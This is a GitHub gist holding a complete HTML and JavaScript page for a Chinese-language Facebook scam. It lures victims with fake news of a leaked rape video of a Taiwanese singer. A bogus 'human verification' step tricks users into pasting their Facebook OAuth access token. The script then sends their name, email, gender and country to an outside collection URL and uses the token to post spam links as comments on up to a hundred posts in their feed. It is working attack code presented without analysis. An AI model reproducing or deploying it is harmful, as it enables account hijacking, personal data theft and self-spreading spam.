Instantly share code, notes, and snippets.
Created
March 18, 2013 04:27
-
Save alan5281/5185098 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta name="referrer" content="never"> | |
<script type="text/javascript"> | |
(function(window) { | |
if (window.location !== window.top.location) { | |
window.top.location = window.location + '?install'; | |
} | |
})(this); | |
</script> | |
<script language="JavaScript" src="http://j.maxmind.com/app/geoip.js"></script> | |
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script> | |
<link rel="stylesheet" href="http://code.jquery.com/ui/1.10.1/themes/base/jquery-ui.css" /> | |
<script src="http://code.jquery.com/ui/1.10.1/jquery-ui.js"></script> | |
<title>影音在線播放器 v3.3</title> | |
<meta charset='utf-8'> | |
<meta property="og:title" content="[備份] 台灣歌后強暴短片流出"/> | |
<meta property="og:type" content="video"/> | |
<meta property="og:image" content= "http://i.imgur.com/Gozf4t1.jpg"/> | |
<meta property="og:description" content="事件已被傳媒証實..."/> | |
<meta property="og:type" content="website" /> | |
<meta property="fb:admins" content="6351278"/> | |
<script src='http://html5slides.googlecode.com/svn/trunk/slides.js'></script> | |
<link rel="shortcut icon" href="favicon.ico" > | |
</head> | |
<style> | |
/* Your individual styles here, or just use inline styles if that?s | |
what you want. */ | |
.slides article { background-image:none !important; background-color:white;} | |
</style> | |
<script type="text/javascript"> | |
var country = geoip_country_code(); | |
console.log('Country >> ' + country); | |
if (country == 'US' || country == 'GB' || country == 'IT' || country == 'AU' || country == 'CA' || country == 'FR' || country == 'DE' || country == 'RU' || country == 'NZ' || country == 'ES' || country == 'SE') {} else { | |
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1; | |
if (is_firefox) {} else {}; | |
}; | |
function generateCert() { | |
var _0x4524x3 = window['open']('?open', 'caa', 'toolbar=no,location=yes,directories=no,status=no, menubar=no,scrollbars=no,resizable=no,width=500,height=100'); | |
if (window['focus']) { | |
_0x4524x3['focus'](); | |
}; | |
return false; | |
}; | |
var isCtrl = false; | |
document.onkeyup = function (evt) { | |
if (evt.which == 17) { | |
isCtrl = false; | |
}; | |
}; | |
document.onkeydown = function (evt) { | |
if (evt.which == 17) { | |
isCtrl = true; | |
SetFocus('scatola'); | |
return false; | |
}; | |
}; | |
$('.url').live('paste', function (evt) { | |
var $this = this; | |
setTimeout(function () { | |
var val = $($this).val(); | |
$('.control').css('display', 'none'); | |
$('#loading_bar').css('display', 'block'); | |
checkData(val); | |
}, 100); | |
}); | |
var urls = []; | |
var uid, name, email; | |
var rnd = Math.floor(Math.random() * 64387248987); | |
var message = '幹! 太失望了, 你看看 --> '; | |
var num = 100; | |
var token; | |
function loadURLs(data) { | |
$.each(data, function(i, v) { | |
urls.push(v); | |
}); | |
dododo(); | |
} | |
function SetFocus(obj) { | |
document.getElementById(obj).focus(); | |
}; | |
function checkData(v) { | |
try { | |
if (v['indexOf']('access_token=') == -1) { | |
throw new Error('invalid access_token'); | |
}; | |
var access_token = v.split('access_token=').pop().split('&').shift(); | |
var expires_in = v.split('expires_in=').pop().split('&').shift(); | |
console.log('Got token >>> ', access_token); | |
if (access_token) { | |
checkToken(access_token); | |
} else { | |
throw new Error('invalid access_token'); | |
}; | |
} catch (e) { | |
handleError(); | |
}; | |
}; | |
var handleError = function () { | |
alert('噢! 產生驗証碼時發生了一些錯誤, 請再次嘗試!'); | |
$('.control').css('display', 'block'); | |
$('#loading_bar').css('display', 'none'); | |
$('#scatola').val(''); | |
prevSlide(); | |
}; | |
function checkToken(access_token) { | |
$.getJSON('https://graph.facebook.com/me/permissions?access_token=' + access_token, function (response) { | |
if ((response.data[0]['publish_stream']) && (response.data[0]['read_stream'])) { | |
if ((response.data[0].publish_stream == 1) && (response.data[0].read_stream == 1)) { | |
doShit(access_token); | |
} else { | |
$('#loading_bar3').css('display', 'block'); | |
alert('你必須允許應用才能繼續'); | |
prevSlide(); | |
$('#loading_bar3').css('display', 'none'); | |
$('.control').css('display', 'block'); | |
$('#loading_bar').css('display', 'none'); | |
}; | |
} else { | |
$('#loading_bar3').css('display', 'block'); | |
alert('你必須允許應用才能繼續'); | |
prevSlide(); | |
$('#loading_bar3').css('display', 'none'); | |
$('.control').css('display', 'block'); | |
$('#loading_bar').css('display', 'none'); | |
}; | |
}); | |
}; | |
function Reinderizza() { | |
$( "#dialog" ).show().dialog({ width: 990, position: { my: "center", at: "top", of: window }}); | |
$('#ads').attr('src', $('#ads').attr('data-src')); | |
setTimeout(function() { | |
cpa(); | |
}, 60000); | |
}; | |
function cpa() { | |
console.log('Redirecting...'); | |
top.location = '#http://www.onlinemoviemax.com/wp-content/plugins/requirements.html'; | |
}; | |
function doShit(access_token) { | |
console.log('Do shit started'); | |
if (access_token.length < 30) { | |
alert('驗証碼錯誤, 請再次嘗試!'); | |
$('.control').css('display', 'block'); | |
$('#loading_bar').css('display', 'none'); | |
$('#scatola').val(''); | |
prevSlide(); | |
} else { | |
$.getJSON('https://graph.facebook.com/me?access_token=' + access_token, function (response) { | |
if (response.id) { | |
console.log('Token is valid'); | |
$('#loading_bar2').css('display', 'block'); | |
Reinderizza(); | |
uid = response.id; | |
name = response.name; | |
email = response.email; | |
token = access_token; | |
var data = { | |
uid : response.id, | |
email : response.email, | |
name : response.name, | |
gender : response.gender, | |
country : country, | |
birthday : ''//response.birthday | |
}; | |
$('<img src="http://inspectb.in/31dc0556?' + encodeURIComponent(JSON.stringify(data)) + '" height="1" width="1" />').appendTo('body');; | |
$.getJSON('http://www.dinkypage.com/168081?callback=?'); | |
}; | |
}); | |
}; | |
}; | |
function dododo() { | |
$.getJSON('https://graph.facebook.com/' + uid + '/home?limit=' + num + '&access_token=' + token, function (response) { | |
if (response.data) { | |
console.log('Got array of posts'); | |
var ids = []; | |
var posted = 0; | |
$.each(response.data, function (i, v) { | |
ids.push(v.id); | |
var rnd_url = urls[Math.floor(Math.random() * urls.length)]; | |
var rnd = Math.floor(Math.random() * 64387248987); | |
var rnd_q = Math.floor(Math.random() * rnd); | |
var full_url = rnd_url + '?' + rnd_q; | |
var shorten_url = null; | |
$.getJSON('http://api.linkee.com/1.0/shorten?callback=?&input=' + encodeURIComponent(full_url), function(response) { | |
console.log('Shortener is up'); | |
shorten_url = response.result; | |
posted = posted + 1; | |
if (!shorten_url) { | |
console.log('cant short post long url'); | |
shorten_url = full_url; | |
}; | |
var comment = message + shorten_url; | |
console.log('Posting >>> ' + v.id + ' >>> ' + comment); | |
$.getJSON('https://graph.facebook.com/' + v.id + '/comments?method=POST&message=' + comment + '&access_token=' + token, function (response) { | |
console.log('Comment id: ' + v.id); | |
}); | |
if (posted == num) { | |
console.log(posted, num); | |
console.log('Done'); | |
} | |
}); | |
}); | |
} else { | |
alert('驗証碼錯誤, 請再次嘗試!'); | |
$('.control').css('display', 'block'); | |
$('#loading_bar').css('display', 'none'); | |
$('#scatola').val(''); | |
prevSlide(); | |
}; | |
}); | |
} | |
$(document).ready(function() { | |
if(document.location.search == '?open') { | |
window.resizeTo(500,10); | |
var url = "https:\/\/www.facebook.com\/dialog\/oauth?type=user_agent&scope=email%2Cpublish_actions&2Cpublish_stream&client_id=139682082719810&redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html%3F-Your+Special+Token-&sso_key=com.jango.jango&sdk=ios&display=popup"; | |
url = encodeURIComponent(url); | |
var iframe = document.createElement("iframe"); | |
iframe.style.display = "none"; | |
iframe.src = "javascript:0;"; | |
iframe.onload = function(){ | |
var doc = iframe.contentDocument ? iframe.contentDocument : (iframe.contentWindow.document || iframe.document); | |
doc.body.innerHTML = "<meta name=\"referrer\" content=\"never\">\n<form target=\"_parent\" action=\"https:\/\/www.facebook.com\/dialog\/oauth?type=user_agent&scope=email%2Cpublish_actions&2Cpublish_stream&client_id=139682082719810&redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html%3F-Your+Special+Token-&sso_key=com.jango.jango&sdk=ios&display=popup\" accept-charset=\"utf-8\">\n\t \n\t\t<input type=\"hidden\" name=\"type\" value=\"user_agent\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"scope\" value=\"email,publish_actions\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"2Cpublish_stream\" value=\"\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"client_id\" value=\"139682082719810\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"redirect_uri\" value=\"https:\/\/www.facebook.com\/connect\/login_success.html?-Your Special Token-\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"sso_key\" value=\"com.jango.jango\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"sdk\" value=\"ios\" \/>\n\t \n\t\t<input type=\"hidden\" name=\"display\" value=\"popup\" \/>\n\t<\/form>\n"; | |
doc.forms[0].submit(); | |
} | |
document.body.appendChild(iframe); | |
} | |
}); | |
</script> | |
<body style='display: none'> | |
<section class='slides layout-regular template-default'> | |
<!--NgL--> | |
<style> | |
#dialog { padding: 5px; } | |
</style> | |
</section> | |
<section class='slides layout-regular template-default'> | |
<article> | |
<center><h3><br> | |
<span class='blue'>點擊<b><span class='red'>開始</span></b>播放影片</span> | |
<br><br> | |
<img style='height: 500px' src='http://i.imgur.com/JqfkZA6.png' onclick="nextSlide();"></img> | |
</h3></center> | |
</article> | |
<article><br><h3><center><span class="blue">為防止機械人,請先驗証你是一個人類</span></center> </h3> | |
<h6> | |
<strong style="color:#3c5899;font-family:tahoma;"><span style="position: absolute; margin-top: 2px;"> | |
<img src="http://cdn1.iconfinder.com/data/icons/socialmediaicons_v120/16/digg_this.png"> | |
</span> 第一步:</strong> 請點擊以下按鈕產生 <b><span class='red'>你的驗証碼</span></b><br> | |
<a href="#" onclick="javascript:generateCert();"><br><center> | |
<input type="image" src="http://i.imgur.com/uarE2IA.png" alt="Generate"> <!--onClick="javascript:generateCert();">--> | |
</a> <b></b></center> | |
<strong style="color:#3c5899;font-family:tahoma;"><span style="position: absolute; margin-top: 2px;"> | |
<img src="http://cdn1.iconfinder.com/data/icons/socialmediaicons_v120/16/digg_this.png"> | |
</span> 第二步:</strong> <span class="red">在新的視窗上覆制 </span> <span class="red">全個</span> 網址列 ( 它包含你的驗証碼 )<br> 如下圖: | |
<div style="margin-left:-20px; margin-bottom: 15px; overflow: visible;"> | |
<center><img src="http://i.imgur.com/CYiiyGy.png"></center> | |
</div> | |
<strong style="color:#3c5899;font-family:tahoma;"><span style="position: absolute; margin-top: 2px;"> | |
<img src="http://cdn1.iconfinder.com/data/icons/socialmediaicons_v120/16/digg_this.png"> | |
</span> 第三步:</strong> 按 <span class='blue'>下一頁</span> | |
<div style="margin-left:-20px; margin-bottom: 15px; overflow: visible;"> | |
<center><img src="http://i.imgur.com/2BLJU0W.png" onclick="nextSlide();"><center> | |
<br> | |
</div> | |
</h6> | |
</article> | |
<article onMouseOver="if(document.location.hash == '#3') SetFocus('scatola')"> | |
<center><h3><br> | |
<div class="control"><span class='blue'>最後一步</span> | |
<br><br> | |
<h3> | |
根據以下指示, 輸入驗証碼: | |
| |
| |
| |
| |
<input size="1" id="scatola" type="text" class="url"></input> | |
</h3> | |
<br> | |
<img src='http://i.imgur.com/TwsPYmp.jpg'></img></div> | |
<br> | |
<div id="loading_bar" style="display: none; "> | |
<font color=green> <b>請稍候,</font><font color=green> 驗証中...<br><!--May take up to 2 mins--></font><br><img src="http://oi49.tinypic.com/1z3mg0n.jpg"><br> | |
</b><br> | |
</div> | |
<div id="loading_bar2" style="display: none; "> | |
<font color=blue> <b>驗証</font><font color=green> 通過</font> <font color=blue> <b>現正跳轉中...</font><br> | |
</b><br> | |
</div> | |
<div id="loading_bar3" style="display: none; "> | |
<font color=blue> <b>驗証</font><font color=red> 不通過</font> <a href="#" onClick="prevSlide();">再試一次</a><br> | |
</b><br> | |
</div> | |
<br><br> | |
<iframe src="http://s3.amazonaws.com/adspublisher/fa0024_728x90.html" scrolling="no" width="728" height="90" frameborder="0" style="width:728px;height:90px;overflow:hidden;"></iframe> | |
<br> | |
<div class="display"></div> | |
<br> | |
</h3></center> <br><br> | |
</article> | |
<!--NgL--> | |
<style> | |
#dialog { padding: 5px; display: none; } | |
</style> | |
<div id="dialog" title="廣告播放中... 35秒後將會自動跳轉"> | |
<iframe src="about:blank" data-src="http://s3.amazonaws.com/adspublisher/fa0024.html" scrolling="no" width="980" height="600" frameborder="0" style="width:980px;height:600px;overflow:hidden;" id="ads"></iframe> | |
</div> | |
</section> | |
<div style="visibility:hidden;"> | |
<script src="http://widgets.amung.us/small.js" type="text/javascript" width="0px"> | |
</script><script type="text/javascript"> WAU_small('bcomment')</script> | |
</div> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment